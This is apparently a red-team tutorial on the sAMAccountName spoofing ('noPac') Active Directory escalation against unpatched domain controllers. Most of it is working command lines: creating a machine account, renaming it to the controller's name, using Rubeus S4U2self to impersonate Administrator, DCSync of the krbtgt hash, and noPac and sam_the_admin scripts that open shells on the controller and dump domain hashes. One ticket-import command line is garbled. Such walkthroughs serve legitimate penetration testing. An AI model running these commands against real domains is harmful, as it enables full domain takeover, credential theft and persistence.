Computer accounts have the $ sign appended at the end of their names in contrast with standard user accounts. By default Microsoft operating systems lack of security controls and hardening that would prevent a number of attacks. Furthermore, it has been proved through the years that the way that a number things work in windows ecosystem can allow abuse by utilizing existing features and workflows.
Specifically, every account in active directory have their name in the “sAMAccountName” attribute. However, there is no control to prevent arbitrary usage and therefore any user that has control over and object (i.e. machine account) could modify this value. The purpose of that modification could lead to impersonate other accounts on the domain like the domain controller machine account. Charlie Clark was the first which was released instructions about how to weaponize these vulnerabilities over a detailed article.
Prior of requesting a service ticket a ticket granting ticket (TGT) needs to be issued first. When a service ticket is requested for an account that doesn’t exist in the Key Distribution Center (KDC) the Key Distribution Center will follow up with a search appending the $ sign on that account. Combining this behavior with the lack of control towards the “sAMAccountName” attribute a red team operator can leverage this for domain escalation. Specifically, a ticket granting ticket for the domain controller account can be requested and restoring the “sAMAccountName” attribute value prior to any request for a service ticket will enforce the KDC to search for the machine account of the domain controller and issue an elevated service ticket on behalf of a domain administrator.
To properly utilize this attack for domain escalation the user needs to have permissions on the computer account in order to able to modify the “sAMAccountName” and “servicePrincipalName” attributes. Users which can create machine accounts have the required privileges to modify these attributes. By default the machine account quota is set to 10 for domain users which allows users to create machine accounts on the domain. Alternatively this attack can be conducted from the perspective of an account which is the owner of a machine account. Performing domain escalation via the “sAMAccountName” impersonation consists of the following steps:
- Create a machine account
- Clear the “servicePrincipalName” attribute
- Modify the “sAMAccountName” attribute of the machine account to point the domain controller name without the $ sign
- Request a TGT for the domain controller account
- Restore the “sAMAccountName” attribute to its original value or any other value
- Request a service ticket using the S4U2self method
- Receive a service ticket on behalf of a domain admin account
The following diagram illustrates the steps of the “sAMAccountName” impersonation technique:
Microsoft has released patches in order to prevent successful exploitation. However, there are many occasions where patches are not applied on time which creates a time period which this technique could be leveraged during a red team assessment. The prerequisites of the technique are the following:
- A domain controller which is missing the KB5008380 and KB5008602 security patches
- A valid domain user account
- The machine account quota to be above 0
Access to the internal network is required and therefore therefore it is assumed that a low privileged account has been already compromised. As mentioned above machine account quota is by default 10 and therefore the only requirement is to identify whether or not patches have been applied. This is trivial and can be achieved by requesting a ticket granting ticket without a PAC for a domain user account and observing the base64 ticket size (smaller compare to tickets issued with PAC). Rubeus can be used with the /nopac switch to request a TGT for a domain account which credentials are known.
Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
Looking at the ticket size it is understood that the domain controller is vulnerable as the PAC has not been issued with the ticket.
Alternatively the noPac C# tool can be used to retrieve TGT tickets for all the available domain controllers on the network. The tool is based on Rubeus as it is using the library “Rubeus.lib.Interop.LUID” to obtain the tickets. The ticket size can determine whether the KDC has issued tickets without a PAC.
noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
If operations are performed from a PowerShell console Shitsecure developed a PowerShell script “Invoke-noPac” which embeds the .NET assembly noPac in base64. As the tool is actually the noPac the same arguments can be used for retrieving tickets.
Import-Module .\Invoke-noPAC.ps1 Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
There are various tools and scripts which can automate the technique both from domain and non domain joined systems. However, before diving into the automation it is important to understand how this attack can be executed manually using existing set of tools. Creation of machine accounts in the active directory is not new to red team operations as it could be used as well during Resource Based Constrained Delegation. Kevin Robertson developed a PowerShell module called Powermad that has a function which can create machine accounts on the domain.
New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
Removing the service principal name value from the machine account that has been already created is trivial with “Set-DomainObject” of PowerSploit.
Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
Modification of the “sAMAccountName” attribute value in order to point to the domain controller host name can be also conducted from Powermad and the “SetMachineAccountAttribute” function by executing the command below:
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
Looking at the attribute in the active directory it is visible that the value of the new machine account now points to “dc” therefore this account can impersonate the domain controller.
Verification that the attribute “sAMAccountName” has been modified can be conducted by querying the domain controller. The function “GetDomainComputer” from PowerSploit can enumerate the attributes of a machine account on the domain.
Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
Rubeus is the standard tool when it comes to operations that involve Kerberos. Since the sam account name has been changed a ticket granting ticket can be requested for the dc account from the context of a standard user.
.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
The sam account name attribute needs to be reverted back to its original value or any other value as otherwise the service ticket will not be issued.
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
Since the TGT is already stored in memory the service ticket can be requested on behalf of the domain admin using “S4U2self” kerberos extension. Since the original ticket belongs to the dc user which now doesn’t exist as the sam account name has been renamed, Kerberos will look for the dc$ which is a valid machine account and will issue the ticket for the requested service.
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
From the existing session Mimikatz can be executed in order to dump the hash of “krbtgt” account using the DCSync technique for the creation of a golden ticket.
lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
The steps of sAMAccountName spoofing could be replicated automatically directly from memory using noPac a C# tool which was developed by Cube0x0. Execution of the command below will create a machine account with a specified password and will obtain a service ticket for the “cifs” service which will be passed into the memory.
noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
The following command will verify the domain escalation since a standard user can enumerate contents of the C$ folder on the domain controller.
Similarly if the initial implant is PowerShell based the same command line arguments can be used from the Invoke-noPac script. As it has been mentioned already above it is actually a wrapper of the noPac C# tool.
Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
Accessing the C$ folder of the domain controller will verify that the service ticket which was cached into memory is elevated.
The same principals of the technique can be applied from systems which are not attached to the domain. Hossam Hamed released a python script called sam the admin which emulates the attack. Initially the script will attempt to enumerate the attribute “ms-DS-MachineAccountQuota” in order to identify if a new computer can be added on the domain. Then a machine account will be created with a random password. The “sAMAccountName” attribute of the new computer account will modified to contain the value of the domain controller machine account. An elevated ticket will be requested and saved into the cache. Finally, the original value of the “sAMAccountName” attribute will be restored and using the cached ticket a session to the domain controller will established using the “smbexec” from Impacket suite.
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell
The script contains and a flag which can be used to dump domain hashes as the “secretsdump” is utilized on the background.
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
These hashes can be used for offline cracking in order to identify any weak passwords in use and to determine if the password policy of the client is sufficient and according to industry standards or require further evaluation. Alternatively since the hash of the “krbtgt” account is visible a golden ticket can be created for domain persistence.
A similar python script was released by Oliver Lyak which can be used both to scan domain controllers to identify vulnerable hosts and to retrieve ticket granting service tickets.
python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
Execution of the following command to a vulnerable domain controller will create a machine account with a random password in order to obtain the ticket granting ticket. Then the machine account name will renamed and using S4U2self a service ticket will retrieved and saved locally for the Administrator user which belongs to “Domain Administrators” group.
python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
The ticket can be imported into the Kerberos cache by using the “export KRB5CCNAME” and the path which the ticket was stored. Since the ticket is now imported from the current console Impacket “psexec” can be used with Kerberos authentication in order to get access to the domain controller.
export KRB5CCNAMEfirstname.lastname@example.org impacket-psexec -k -no-pass 'email@example.com'
Implementation of this technique is also feasible from a tool which was based on the python script “sam the admin” called noPac. The scanner script will enumerate the “ms-DS-MachineAccountQuota” attribute and will get ticket granting tickets from all the available domain controllers. The ticket size will also displayed in the console for quickly identification of vulnerable targets. In the example below the two tickets were received without PAC are relatively smaller compare to the host 10.0.0.1 which issued a ticket with PAC.
python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
This script can be executed with various arguments depending on the activity. Specifying the credentials of a domain user and the IP address of the domain controller will implement the attack until an elevated ticket is retrieved.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Appending the “-shell” and the “–impersonate” flags will establish a session on the domain controller.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
Similarly the “-dump” flag can be used to retrieve hashes from domain users from the NTDS.DIT secrets. Since domain administrator access has been already achieved via the Kerberos ticket obtaining the hash of the “krbtgt” account would be the logical next step for establishing domain persistence.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt